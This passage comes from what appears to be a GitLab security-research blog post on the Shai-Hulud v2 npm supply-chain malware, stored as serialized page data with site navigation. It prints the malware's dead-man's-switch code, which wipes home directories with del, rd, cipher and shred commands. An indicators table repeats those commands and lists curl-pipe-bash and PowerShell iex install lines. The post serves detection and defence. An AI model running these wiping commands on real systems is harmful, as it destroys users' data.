access\n",[103,1416,1417,1420,1423,1425,1428],{"class":105,"line":615},[103,1418,1419],{"class":116},"        console.",[103,1421,1422],{"class":147},"log",[103,1424,413],{"class":116},[103,1426,1427],{"class":178},"\"Error 12\"",[103,1429,1137],{"class":116},[103,1431,1432,1435,1438,1440,1443],{"class":105,"line":630},[103,1433,1434],{"class":120},"        if",[103,1436,1437],{"class":116}," (platform ",[103,1439,175],{"class":120},[103,1441,1442],{"class":178}," \"windows\"",[103,1444,468],{"class":116},[103,1446,1447],{"class":105,"line":636},[103,1448,1449],{"class":109},"          // Attempts to delete all user files and overwrite disk sectors\n",[103,1451,1452,1455,1458,1461,1464,1466,1469],{"class":105,"line":641},[103,1453,1454],{"class":116},"          Bun.",[103,1456,1457],{"class":147},"spawnSync",[103,1459,1460],{"class":116},"([",[103,1462,1463],{"class":178},"\"cmd.exe\"",[103,1465,512],{"class":116},[103,1467,1468],{"class":178},"\"/c\"",[103,1470,419],{"class":116},[103,1472,1473,1476,1479,1482,1484,1487],{"class":105,"line":650},[103,1474,1475],{"class":178},"            \"del /F /Q /S ",[103,1477,1478],{"class":424},"\\\"",[103,1480,1481],{"class":178},"%USERPROFILE%*",[103,1483,1478],{"class":424},[103,1485,1486],{"class":178}," && \"",[103,1488,1489],{"class":120}," +\n",[103,1491,1492,1495,1497,1499,1501,1504,1506,1509,1511,1514],{"class":105,"line":889},[103,1493,1494],{"class":178},"            \"for /d %%i in (",[103,1496,1478],{"class":424},[103,1498,1481],{"class":178},[103,1500,1478],{"class":424},[103,1502,1503],{"class":178},") do rd /S /Q ",[103,1505,1478],{"class":424},[103,1507,1508],{"class":178},"%%i",[103,1510,1478],{"class":424},[103,1512,1513],{"class":178}," & \"",[103,1515,1489],{"class":120},[103,1517,1518,1521],{"class":105,"line":894},[103,1519,1520],{"class":178},"            \"cipher /W:%USERPROFILE%\"",[103,1522,1523],{"class":109},"  // Overwrite deleted data\n",[103,1525,1526],{"class":105,"line":908},[103,1527,1528],{"class":116},"          ]);\n",[103,1530,1532,1535,1537],{"class":105,"line":1531},24,[103,1533,1534],{"class":116},"        } ",[103,1536,1406],{"class":120},[103,1538,1409],{"class":116},[103,1540,1542],{"class":105,"line":1541},25,[103,1543,1544],{"class":109},"          // Attempts to shred all writable files in home directory\n",[103,1546,1548,1550,1552,1554,1557,1559,1562],{"class":105,"line":1547},26,[103,1549,1454],{"class":116},[103,1551,1457],{"class":147},[103,1553,1460],{"class":116},[103,1555,1556],{"class":178},"\"bash\"",[103,1558,512],{"class":116},[103,1560,1561],{"class":178},"\"-c\"",[103,1563,419],{"class":116},[103,1565,1567,1570,1572,1575,1577,1580,1582,1585,1587,1590],{"class":105,"line":1566},27,[103,1568,1569],{"class":178},"            \"find ",[103,1571,1478],{"class":424},[103,1573,1574],{"class":178},"$HOME",[103,1576,1478],{"class":424},[103,1578,1579],{"class":178}," -type f -writable -user ",[103,1581,1478],{"class":424},[103,1583,1584],{"class":178},"$(id -un)",[103,1586,1478],{"class":424},[103,1588,1589],{"class":178}," -print0 | \"",[103,1591,1489],{"class":120},[103,1593,1595,1598,1601],{"class":105,"line":1594},28,[103,1596,1597],{"class":178},"            \"xargs -0 -r shred -uvz -n 1 && \"",[103,1599,1600],{"class":120}," +",[103,1602,1603],{"class":109},"  // Overwrite and delete\n",[103,1605,1607,1609,1611,1613,1615,1618],{"class":105,"line":1606},29,[103,1608,1569],{"class":178},[103,1610,1478],{"class":424},[103,1612,1574],{"class":178},[103,1614,1478],{"class":424},[103,1616,1617],{"class":178}," -depth -type d -empty -delete\"",[103,1619,1620],{"class":109},"  // Remove empty dirs\n",[103,1622,1624],{"class":105,"line":1623},30,[103,1625,1528],{"class":116},[103,1627,1629],{"class":105,"line":1628},31,[103,1630,1631],{"class":116},"        }\n",[103,1633,1635,1638,1641,1643,1646],{"class":105,"line":1634},32,[103,1636,1637],{"class":116},"        process.",[103,1639,1640],{"class":147},"exit",[103,1642,413],{"class":116},[103,1644,1645],{"class":424},"0",[103,1647,1137],{"class":116},[103,1649,1651],{"class":105,"line":1650},33,[103,1652,1653],{"class":116},"      }\n",[103,1655,1657],{"class":105,"line":1656},34,[103,1658,886],{"class":116},[103,1660,1662],{"class":105,"line":1661},35,[103,1663,633],{"class":116},[103,1665,1667],{"class":105,"line":1666},36,[103,1668,254],{"class":116},[13,1670,1671],{},"This creates a dangerous scenario. If GitHub mass-deletes the malware's repositories or npm bulk-revokes compromised tokens, thousands of infected systems could simultaneously destroy user data. The distributed nature of the attack means that each infected machine independently monitors access and will trigger deletion of the user’s data when a takedown is detected.",[37,1673,1675],{"id":1674},"indicators-of-compromise","Indicators of compromise",[13,1677,1678],{},"To aid in detection and response, here is a more comprehensive list of the key indicators of compromise (IoCs) identified during our analysis.",[1680,1681,1682,1699],"table",{},[1683,1684,1685],"thead",{},[1686,1687,1688,1693,1696],"tr",{},[1689,1690,1692],"th",{"align":1691},"left","Type",[1689,1694,1695],{"align":1691},"Indicator",[1689,1697,1698],{"align":1691},"Description",[1700,1701,1702,1717,1732,1746,1760,1774,1789,1803,1817,1832],"tbody",{},[1686,1703,1704,1710,1714],{},[1705,1706,1707],"td",{"align":1691},[27,1708,1709],{},"file",[1705,1711,1712],{"align":1691},[85,1713,263],{},[1705,1715,1716],{"align":1691},"Malicious post-install script in node_modules directories",[1686,1718,1719,1724,1729],{},[1705,1720,1721],{"align":1691},[27,1722,1723],{},"directory",[1705,1725,1726],{"align":1691},[85,1727,1728],{},".truffler-cache/",[1705,1730,1731],{"align":1691},"Hidden directory created in user home for Trufflehog binary storage",[1686,1733,1734,1738,1743],{},[1705,1735,1736],{"align":1691},[27,1737,1723],{},[1705,1739,1740],{"align":1691},[85,1741,1742],{},".truffler-cache/extract/",[1705,1744,1745],{"align":1691},"Temporary directory used for binary extraction",[1686,1747,1748,1752,1757],{},[1705,1749,1750],{"align":1691},[27,1751,1709],{},[1705,1753,1754],{"align":1691},[85,1755,1756],{},".truffler-cache/trufflehog",[1705,1758,1759],{"align":1691},"Downloaded Trufflehog binary (Linux/Mac)",[1686,1761,1762,1766,1771],{},[1705,1763,1764],{"align":1691},[27,1765,1709],{},[1705,1767,1768],{"align":1691},[85,1769,1770],{},".truffler-cache/trufflehog.exe",[1705,1772,1773],{"align":1691},"Downloaded Trufflehog binary (Windows)",[1686,1775,1776,1781,1786],{},[1705,1777,1778],{"align":1691},[27,1779,1780],{},"process",[1705,1782,1783],{"align":1691},[85,1784,1785],{},"del /F /Q /S \"%USERPROFILE%*\"",[1705,1787,1788],{"align":1691},"Windows destructive payload command",[1686,1790,1791,1795,1800],{},[1705,1792,1793],{"align":1691},[27,1794,1780],{},[1705,1796,1797],{"align":1691},[85,1798,1799],{},"shred -uvz -n 1",[1705,1801,1802],{"align":1691},"Linux/Mac destructive payload command",[1686,1804,1805,1809,1814],{},[1705,1806,1807],{"align":1691},[27,1808,1780],{},[1705,1810,1811],{"align":1691},[85,1812,1813],{},"cipher /W:%USERPROFILE%",[1705,1815,1816],{"align":1691},"Windows secure deletion command in payload",[1686,1818,1819,1824,1829],{},[1705,1820,1821],{"align":1691},[27,1822,1823],{},"command",[1705,1825,1826],{"align":1691},[85,1827,1828],{},"curl -fsSL https://bun.sh/install | bash",[1705,1830,1831],{"align":1691},"Suspicious Bun installation during NPM package install",[1686,1833,1834,1838,1843],{},[1705,1835,1836],{"align":1691},[27,1837,1823],{},[1705,1839,1840],{"align":1691},[85,1841,1842],{},"powershell -c \"irm bun.sh/install.ps1|iex\"",[1705,1844,1845],{"align":1691},"Windows Bun installation via PowerShell",[37,1847,1849],{"id":1848},"how-gitlab-can-help-you-detect-this-malware-campaign","How GitLab can help you detect this malware campaign",[13,1851,1852],{},"If you are using GitLab Ultimate, you can leverage built-in security capabilities to immediately surface exposure tied to this attack within your projects.",[13,1854,1855,1856,1863,1864,1875,1876,428],{},"First, enable ",[17,1857,1860],{"href":1858,"rel":1859},"https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/",[],[27,1861,1862],{},"Dependency Scanning"," to automatically analyze your project's dependencies against known vulnerability databases. ",[27,1865,1866,1867,1870,1871,1874],{},"If infected packages are present in your ",[85,1868,1869],{},"package-lock.json"," or ",[85,1872,1873],{},"yarn.lock"," files, Dependency Scanning will flag them in your pipeline results and the Vulnerability Report."," For complete setup instructions, refer to the ",[17,1877,1880],{"href":1878,"rel":1879},"https://docs.gitlab.com/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer",[],"Dependency Scanning documentation",[13,1882,1883],{},"Once enabled, merge requests introducing a compromised package will surface a warning before the code reaches your main branch.",[13,1885,1886,1887,1894,1895,1900],{},"Next, ",[17,1888,1891],{"href":1889,"rel":1890},"https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/",[],[27,1892,1893],{},"GitLab Duo Chat"," can be used with Dependency Scanning to provide a fast way to check your project's exposure without navigating through reports. From the dropdown, select the ",[17,1896,1899],{"href":1897,"rel":1898},"https://docs.gitlab.com/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/",[],"Security Analyst Agent"," and simply ask questions like:",[45,1902,1903,1906,1909,1911],{},[48,1904,1905],{},"\"Are any of my dependencies affected by the Shai-Hulud v2 malware campaign?\"",[48,1907,1908],{},"\"Does this project have any npm supply chain vulnerabilities?\"",[48,1910,1908],{},[48,1912,1913],{},"\"Show me critical vulnerabilities in my JavaScript dependencies.\"",[13,1915,1916],{},"The agent will query your project's vulnerability data and provide a direct answer, helping security teams triage quickly across multiple projects.",[13,1918,1919],{},[72,1920],{"alt":1921,"src":1922},"GitLab Security Analyst Agent findings","https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png",[13,1924,1925],{},"For teams managing many repositories, we recommend combining these approaches: use Dependency Scanning for continuous automated detection in CI/CD, and the Security Analyst Agent for ad-hoc investigation and rapid response during active incidents like this one.",[37,1927,1929],{"id":1928},"looking-ahead","Looking ahead",[13,1931,1932],{},"This campaign represents an evolution in supply chain attacks where the threat of collateral damage becomes the primary defense mechanism for the attacker's infrastructure. The investigation is ongoing as we work with the community to understand the full scope and develop safe remediation strategies.",[13,1934,1935],{},"GitLab's automated detection systems continue to monitor for new infections and variations of this attack. By sharing our findings early, we hope to help the community respond effectively while avoiding the pitfalls created by the malware's dead man's switch design.",[13,1937,1938,1939,1943],{},"For another example of GitLab's detection systems in action, explore this ",[17,1940,1942],{"href":1941},"/blog/gitlab-catches-mongodb-go-module-supply-chain-attack/","typosquatting attack targeting Go developers through a fake MongoDB driver"," earlier in 2025.",[1945,1946,1947],"style",{},"html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .sgsFI, html code.shiki .sgsFI{--shiki-default:#24292E}html pre.shiki code .sD7c4, html code.shiki .sD7c4{--shiki-default:#D73A49}html pre.shiki code .s7eDp, html code.shiki .s7eDp{--shiki-default:#6F42C1}html pre.shiki code .sYBdl, html code.shiki .sYBdl{--shiki-default:#032F62}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sYu0t, html code.shiki .sYu0t{--shiki-default:#005CC5}html pre.shiki code .sqxcx, html code.shiki .sqxcx{--shiki-default:#E36209}",{"title":99,"searchDepth":113,"depth":113,"links":1949},[1950,1951,1957,1958,1959,1960],{"id":39,"depth":113,"text":40},{"id":67,"depth":113,"text":68,"children":1952},[1953,1954,1955,1956],{"id":79,"depth":138,"text":80},{"id":267,"depth":138,"text":268},{"id":441,"depth":138,"text":442},{"id":913,"depth":138,"text":914},{"id":1222,"depth":113,"text":1223},{"id":1674,"depth":113,"text":1675},{"id":1848,"depth":113,"text":1849},{"id":1928,"depth":113,"text":1929},"security-labs","2025-11-24","Malware driving attack includes \"dead man's switch\" that can harm user data.","md",null,"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg",{},"/en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack",{"config":1970,"title":5,"description":1963},{"noIndex":1971},false,"gitlab-discovers-widespread-npm-supply-chain-attack","en-us/blog/gitlab-discovers-widespread-npm-supply-chain-attack",[1975,1976],"security","security research","BlogPost","l89KIQS2kMetN5J3U1C8eXcqsLdY4VyX82XxjdZ6oaA",{"logo":1980,"freeTrial":1984,"sales":1989,"login":1994,"items":1999,"search":2326,"minimal":2357,"duo":2376,"switchNav":2385,"pricingDeployment":2396},{"config":1981},{"href":127,"dataGaName":1982,"dataGaLocation":1983},"gitlab logo","header",{"text":1985,"config":1986},"Get free trial",{"href":1987,"dataGaName":1988,"dataGaLocation":1983},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":1990,"config":1991},"Request a demo",{"href":1992,"dataGaName":1993,"dataGaLocation":1983},"/sales/?contact-topic=request-demo","sales",{"text":1995,"config":1996},"Sign in",{"href":1997,"dataGaName":1998,"dataGaLocation":1983},"https://gitlab.com/users/sign_in/","sign in",[2000,2029,2129,2134,2248,2304],{"text":2001,"config":2002,"menu":2004},"Platform",{"dataNavLevelOne":2003},"platform",{"type":2005,"columns":2006},"cards",[2007,2013,2021],{"title":2001,"description":2008,"link":2009},"The intelligent orchestration platform for DevSecOps",{"text":2010,"config":2011},"Explore our Platform",{"href":2012,"dataGaName":2003,"dataGaLocation":1983},"/platform/",{"title":2014,"description":2015,"link":2016},"GitLab Duo Agent Platform","Agentic AI for the entire software lifecycle",{"text":2017,"config":2018},"Meet GitLab Duo",{"href":2019,"dataGaName":2020,"dataGaLocation":1983},"/gitlab-duo-agent-platform/","gitlab duo agent platform",{"title":2022,"description":2023,"link":2024},"Why GitLab","See the top reasons enterprises choose GitLab",{"text":2025,"config":2026},"Learn more",{"href":2027,"dataGaName":2028,"dataGaLocation":1983},"/why-gitlab/","why gitlab",{"text":2030,"left":206,"config":2031,"menu":2033},"Product",{"dataNavLevelOne":2032},"solutions",{"type":2034,"link":2035,"columns":2039,"feature":2108},"lists",{"text":2036,"config":2037},"View all Solutions",{"href":2038,"dataGaName":2032,"dataGaLocation":1983},"/solutions/",[2040,2064,2087],{"title":2041,"description":2042,"link":2043,"items":2048},"Automation","CI/CD and automation to accelerate deployment",{"config":2044},{"icon":2045,"href":2046,"dataGaName":2047,"dataGaLocation":1983},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[2049,2053,2056,2060],{"text":2050,"config":2051},"CI/CD",{"href":2052,"dataGaLocation":1983,"dataGaName":2050},"/solutions/continuous-integration/",{"text":2014,"config":2054},{"href":2019,"dataGaLocation":1983,"dataGaName":2055},"gitlab duo agent platform - product menu",{"text":2057,"config":2058},"Source Code Management",{"href":2059,"dataGaLocation":1983,"dataGaName":2057},"/solutions/source-code-management/",{"text":2061,"config":2062},"Automated Software Delivery",{"href":2046,"dataGaLocation":1983,"dataGaName":2063},"Automated software delivery",{"title":2065,"description":2066,"link":2067,"items":2072},"Security","Deliver code faster without compromising security",{"config":2068},{"href":2069,"dataGaName":2070,"dataGaLocation":1983,"icon":2071},"/solutions/application-security-testing/","security and compliance","ShieldCheckLight",[2073,2077,2082],{"text":2074,"config":2075},"Application Security Testing",{"href":2069,"dataGaName":2076,"dataGaLocation":1983},"Application security testing",{"text":2078,"config":2079},"Software Supply Chain Security",{"href":2080,"dataGaLocation":1983,"dataGaName":2081},"/solutions/supply-chain/","Software supply chain security",{"text":2083,"config":2084},"Software Compliance",{"href":2085,"dataGaName":2086,"dataGaLocation":1983},"/solutions/software-compliance/","software compliance",{"title":2088,"link":2089,"items":2094},"Measurement",{"config":2090},{"icon":2091,"href":2092,"dataGaName":2093,"dataGaLocation":1983},"DigitalTransformation","/solutions/visibility-measurement/","visibility and measurement",[2095,2099,2103],{"text":2096,"config":2097},"Visibility & Measurement",{"href":2092,"dataGaLocation":1983,"dataGaName":2098},"Visibility and Measurement",{"text":2100,"config":2101},"Value Stream Management",{"href":2102,"dataGaLocation":1983,"dataGaName":2100},"/solutions/value-stream-management/",{"text":2104,"config":2105},"Analytics & Insights",{"href":2106,"dataGaLocation":1983,"dataGaName":2107},"/solutions/analytics-and-insights/","Analytics and insights",{"title":2109,"type":2034,"items":2110},"GitLab for",[2111,2117,2123],{"text":2112,"config":2113},"Enterprise",{"icon":2114,"href":2115,"dataGaLocation":1983,"dataGaName":2116},"Building","/enterprise/","enterprise",{"text":2118,"config":2119},"Small Business",{"icon":2120,"href":2121,"dataGaLocation":1983,"dataGaName":2122},"Work","/small-business/","small business",{"text":2124,"config":2125},"Public Sector",{"icon":2126,"href":2127,"dataGaLocation":1983,"dataGaName":2128},"Organization","/solutions/public-sector/","public sector",{"text":2130,"config":2131},"Pricing",{"href":2132,"dataGaName":2133,"dataGaLocation":1983,"dataNavLevelOne":2133},"/pricing/","pricing",{"text":2135,"config":2136,"menu":2138},"Resources",{"dataNavLevelOne":2137},"resources",{"type":2034,"link":2139,"columns":2143,"feature":2237},{"text":2140,"config":2141},"View all resources",{"href":2142,"dataGaName":2137,"dataGaLocation":1983},"/resources/",[2144,2177,2204],{"title":2145,"items":2146},"Getting started",[2147,2152,2157,2162,2167,2172],{"text":2148,"config":2149},"Install",{"href":2150,"dataGaName":2151,"dataGaLocation":1983},"/install/","install",{"text":2153,"config":2154},"Quick start guides",{"href":2155,"dataGaName":2156,"dataGaLocation":1983},"/get-started/","quick setup checklists",{"text":2158,"config":2159},"Learn",{"href":2160,"dataGaLocation":1983,"dataGaName":2161},"https://university.gitlab.com/","learn",{"text":2163,"config":2164},"Product documentation",{"href":2165,"dataGaName":2166,"dataGaLocation":1983},"https://docs.gitlab.com/","product documentation",{"text":2168,"config":2169},"Best practice videos",{"href":2170,"dataGaName":2171,"dataGaLocation":1983},"/getting-started-videos/","best practice videos",{"text":2173,"config":2174},"Integrations",{"href":2175,"dataGaName":2176,"dataGaLocation":1983},"/integrations/","integrations",{"title":2178,"items":2179},"Discover",[2180,2185,2190,2195,2199],{"text":2181,"config":2182},"Customer success stories",{"href":2183,"dataGaName":2184,"dataGaLocation":1983},"/customers/","customer success stories",{"text":2186,"config":2187},"Blog",{"href":2188,"dataGaName":2189,"dataGaLocation":1983},"/blog/","blog",{"text":2191,"config":2192},"Demo Hub",{"href":2193,"dataGaName":2194,"dataGaLocation":1983},"/demo-hub/","demo hub",{"text":2196,"config":2197},"The Source",{"href":2198,"dataGaName":2189,"dataGaLocation":1983},"/the-source/",{"text":2200,"config":2201},"Remote",{"href":2202,"dataGaName":2203,"dataGaLocation":1983},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"title":2205,"items":2206},"Connect",[2207,2212,2217,2222,2227,2232],{"text":2208,"config":2209},"GitLab Services",{"href":2210,"dataGaName":2211,"dataGaLocation":1983},"/services/","services",{"text":2213,"config":2214},"Contribute",{"href":2215,"dataGaName":2216,"dataGaLocation":1983},"https://contributors.gitlab.com","contribute",{"text":2218,"config":2219},"Community",{"href":2220,"dataGaName":2221,"dataGaLocation":1983},"/community/","community",{"text":2223,"config":2224},"Forum",{"href":2225,"dataGaName":2226,"dataGaLocation":1983},"https://forum.gitlab.com/","forum",{"text":2228,"config":2229},"Events",{"href":2230,"dataGaName":2231,"dataGaLocation":1983},"/events/","events",{"text":2233,"config":2234},"Partners",{"href":2235,"dataGaName":2236,"dataGaLocation":1983},"/partners/","partners",{"config":2238,"title":2241,"text":2242,"link":2243},{"background":2239,"textColor":2240},"url('https://res.cloudinary.com/about-gitlab-com/image/upload/v1777322348/qpq8yrgn8knii57omj0c.png')","#000","What’s new in GitLab","Stay updated with our latest features and improvements.",{"text":2244,"config":2245},"Read the latest",{"href":2246,"dataGaName":2247,"dataGaLocation":1983},"/whats-new/","whats new",{"text":2249,"config":2250,"menu":2252},"Company",{"dataNavLevelOne":2251},"company",{"type":2034,"columns":2253},[2254],{"items":2255},[2256,2261,2267,2269,2274,2279,2284,2289,2294,2299],{"text":2257,"config":2258},"About",{"href":2259,"dataGaName":2260,"dataGaLocation":1983},"/company/","about",{"text":2262,"config":2263,"footerGa":2266},"Jobs",{"href":2264,"dataGaName":2265,"dataGaLocation":1983},"/jobs/","jobs",{"dataGaName":2265},{"text":2228,"config":2268},{"href":2230,"dataGaName":2231,"dataGaLocation":1983},{"text":2270,"config":2271},"Leadership",{"href":2272,"dataGaName":2273,"dataGaLocation":1983},"/company/team/e-group/","leadership",{"text":2275,"config":2276},"Handbook",{"href":2277,"dataGaName":2278,"dataGaLocation":1983},"https://handbook.gitlab.com/","handbook",{"text":2280,"config":2281},"Investor relations",{"href":2282,"dataGaName":2283,"dataGaLocation":1983},"https://ir.gitlab.com/overview/default.aspx","investor relations",{"text":2285,"config":2286},"Trust Center",{"href":2287,"dataGaName":2288,"dataGaLocation":1983},"/security/","trust center",{"text":2290,"config":2291},"AI Transparency Center",{"href":2292,"dataGaName":2293,"dataGaLocation":1983},"/ai-transparency-center/","ai transparency center",{"text":2295,"config":2296},"Newsletter",{"href":2297,"dataGaName":2298,"dataGaLocation":1983},"/company/contact/#contact-forms","newsletter",{"text":2300,"config":2301},"Press",{"href":2302,"dataGaName":2303,"dataGaLocation":1983},"/press/","press",{"text":2305,"config":2306,"menu":2307},"Contact us",{"dataNavLevelOne":2251},{"type":2034,"columns":2308},[2309],{"items":2310},[2311,2316,2321],{"text":2312,"config":2313},"Talk to sales",{"href":2314,"dataGaName":2315,"dataGaLocation":1983},"/sales/","talk to sales",{"text":2317,"config":2318},"Support portal",{"href":2319,"dataGaName":2320,"dataGaLocation":1983},"https://support.gitlab.com/hc/en-us","support portal",{"text":2322,"config":2323},"Customer portal",{"href":2324,"dataGaName":2325,"dataGaLocation":1983},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":2327,"login":2328,"suggestions":2335},"Close",{"text":2329,"link":2330},"To search repositories and projects, login to",{"text":2331,"config":2332},"gitlab.com",{"href":1997,"dataGaName":2333,"dataGaLocation":2334},"search login","search",{"text":2336,"default":2337},"Suggestions",[2338,2340,2344,2346,2350,2354],{"text":2014,"config":2339},{"href":2019,"dataGaName":2014,"dataGaLocation":2334},{"text":2341,"config":2342},"Code Suggestions (AI)",{"href":2343,"dataGaName":2341,"dataGaLocation":2334},"/solutions/code-suggestions/",{"text":2050,"config":2345},{"href":2052,"dataGaName":2050,"dataGaLocation":2334},{"text":2347,"config":2348},"GitLab on AWS",{"href":2349,"dataGaName":2347,"dataGaLocation":2334},"/partners/technology-partners/aws/",{"text":2351,"config":2352},"GitLab on Google Cloud",{"href":2353,"dataGaName":2351,"dataGaLocation":2334},"/partners/technology-partners/google-cloud-platform/",{"text":2355,"config":2356},"Why GitLab?",{"href":2027,"dataGaName":2355,"dataGaLocation":2334},{"freeTrial":2358,"mobileIcon":2363,"desktopIcon":2368,"secondaryButton":2371},{"text":2359,"config":2360},"Start free trial",{"href":2361,"dataGaName":1988,"dataGaLocation":2362},"https://gitlab.com/-/trials/new/","nav",{"altText":2364,"config":2365},"Gitlab Icon",{"src":2366,"dataGaName":2367,"dataGaLocation":2362},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":2364,"config":2369},{"src":2370,"dataGaName":2367,"dataGaLocation":2362},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":2372,"config":2373},"Get Started",{"href":2374,"dataGaName":2375,"dataGaLocation":2362},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/get-started/","get started",{"freeTrial":2377,"mobileIcon":2381,"desktopIcon":2383},{"text":2378,"config":2379},"Learn more about GitLab Duo",{"href":2019,"dataGaName":2380,"dataGaLocation":2362},"gitlab duo",{"altText":2364,"config":2382},{"src":2366,"dataGaName":2367,"dataGaLocation":2362},{"altText":2364,"config":2384},{"src":2370,"dataGaName":2367,"dataGaLocation":2362},{"button":2386,"mobileIcon":2391,"desktopIcon":2393},{"text":2387,"config":2388},"/switch",{"href":2389,"dataGaName":2390,"dataGaLocation":2362},"#contact","switch",{"altText":2364,"config":2392},{"src":2366,"dataGaName":2367,"dataGaLocation":2362},{"altText":2364,"config":2394},{"src":2395,"dataGaName":2367,"dataGaLocation":2362},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":2397,"mobileIcon":2402,"desktopIcon":2404},{"text":2398,"config":2399},"Back to pricing",{"href":2132,"dataGaName":2400,"dataGaLocation":2362,"icon":2401},"back to pricing","GoBack",{"altText":2364,"config":2403},{"src":2366,"dataGaName":2367,"dataGaLocation":2362},{"altText":2364,"config":2405},{"src":2370,"dataGaName":2367,"dataGaLocation":2362},{"title":2407,"titleMobile":2408,"button":2409,"config":2414},"Duo Agent Platform delivers 400% ROI, per new Forrester Consulting study.","400% ROI: Forrester TEI for GitLab Duo",{"text":2025,"config":2410},{"href":2411,"dataGaName":2412,"dataGaLocation":2413},"https://about.gitlab.com/blog/gitlab-duo-agent-platform-delivers-400-percent-roi/","forrester-tei-dap-banner","global-banner",{"layout":2415,"disabled":1971},"release",{"data":2417},{"text":2418,"source":2419,"edit":2425,"contribute":2430,"config":2435,"items":2440,"minimal":2650},"Git is a trademark of Software Freedom Conservancy and our use of 'GitLab' is under license",{"text":2420,"config":2421},"View page source",{"href":2422,"dataGaName":2423,"dataGaLocation":2424},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":2426,"config":2427},"Edit this page",{"href":2428,"dataGaName":2429,"dataGaLocation":2424},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":2431,"config":2432},"Please contribute",{"href":2433,"dataGaName":2434,"dataGaLocation":2424},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":2436,"facebook":2437,"youtube":2438,"linkedin":2439},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[2441,2488,2542,2586,2618],{"title":2130,"links":2442,"subMenu":2457},[2443,2447,2452],{"text":2444,"config":2445},"View plans",{"href":2132,"dataGaName":2446,"dataGaLocation":2424},"view plans",{"text":2448,"config":2449},"Why Premium?",{"href":2450,"dataGaName":2451,"dataGaLocation":2424},"/pricing/premium/","why premium",{"text":2453,"config":2454},"Why Ultimate?",{"href":2455,"dataGaName":2456,"dataGaLocation":2424},"/pricing/ultimate/","why ultimate",[2458],{"title":2459,"links":2460},"Contact Us",[2461,2464,2466,2468,2473,2478,2483],{"text":2462,"config":2463},"Contact sales",{"href":2314,"dataGaName":1993,"dataGaLocation":2424},{"text":2317,"config":2465},{"href":2319,"dataGaName":2320,"dataGaLocation":2424},{"text":2322,"config":2467},{"href":2324,"dataGaName":2325,"dataGaLocation":2424},{"text":2469,"config":2470},"Status",{"href":2471,"dataGaName":2472,"dataGaLocation":2424},"https://status.gitlab.com/","status",{"text":2474,"config":2475},"Terms of use",{"href":2476,"dataGaName":2477,"dataGaLocation":2424},"/terms/","terms of use",{"text":2479,"config":2480},"Privacy statement",{"href":2481,"dataGaName":2482,"dataGaLocation":2424},"/privacy/","privacy statement",{"text":2484,"config":2485},"Cookie preferences",{"dataGaName":2486,"dataGaLocation":2424,"id":2487,"isOneTrustButton":206},"cookie preferences","ot-sdk-btn",{"title":2030,"links":2489,"subMenu":2498},[2490,2494],{"text":2491,"config":2492},"DevSecOps platform",{"href":2012,"dataGaName":2493,"dataGaLocation":2424},"devsecops platform",{"text":2495,"config":2496},"AI-Assisted Development",{"href":2019,"dataGaName":2497,"dataGaLocation":2424},"ai-assisted development",[2499],{"title":2500,"links":2501},"Topics",[2502,2507,2512,2517,2522,2527,2532,2537],{"text":2503,"config":2504},"CICD",{"href":2505,"dataGaName":2506,"dataGaLocation":2424},"/topics/ci-cd/","cicd",{"text":2508,"config":2509},"GitOps",{"href":2510,"dataGaName":2511,"dataGaLocation":2424},"/topics/gitops/","gitops",{"text":2513,"config":2514},"DevOps",{"href":2515,"dataGaName":2516,"dataGaLocation":2424},"/topics/devops/","devops",{"text":2518,"config":2519},"Version Control",{"href":2520,"dataGaName":2521,"dataGaLocation":2424},"/topics/version-control/","version control",{"text":2523,"config":2524},"DevSecOps",{"href":2525,"dataGaName":2526,"dataGaLocation":2424},"/topics/devsecops/","devsecops",{"text":2528,"config":2529},"Cloud Native",{"href":2530,"dataGaName":2531,"dataGaLocation":2424},"/topics/cloud-native/","cloud native",{"text":2533,"config":2534},"AI for Coding",{"href":2535,"dataGaName":2536,"dataGaLocation":2424},"/topics/devops/ai-for-coding/","ai for coding",{"text":2538,"config":2539},"Agentic AI",{"href":2540,"dataGaName":2541,"dataGaLocation":2424},"/topics/agentic-ai/","agentic ai",{"title":2543,"links":2544},"Solutions",[2545,2547,2549,2554,2558,2561,2565,2568,2570,2573,2576,2581],{"text":2074,"config":2546},{"href":2069,"dataGaName":2074,"dataGaLocation":2424},{"text":2063,"config":2548},{"href":2046,"dataGaName":2047,"dataGaLocation":2424},{"text":2550,"config":2551},"Agile development",{"href":2552,"dataGaName":2553,"dataGaLocation":2424},"/solutions/agile-delivery/","agile 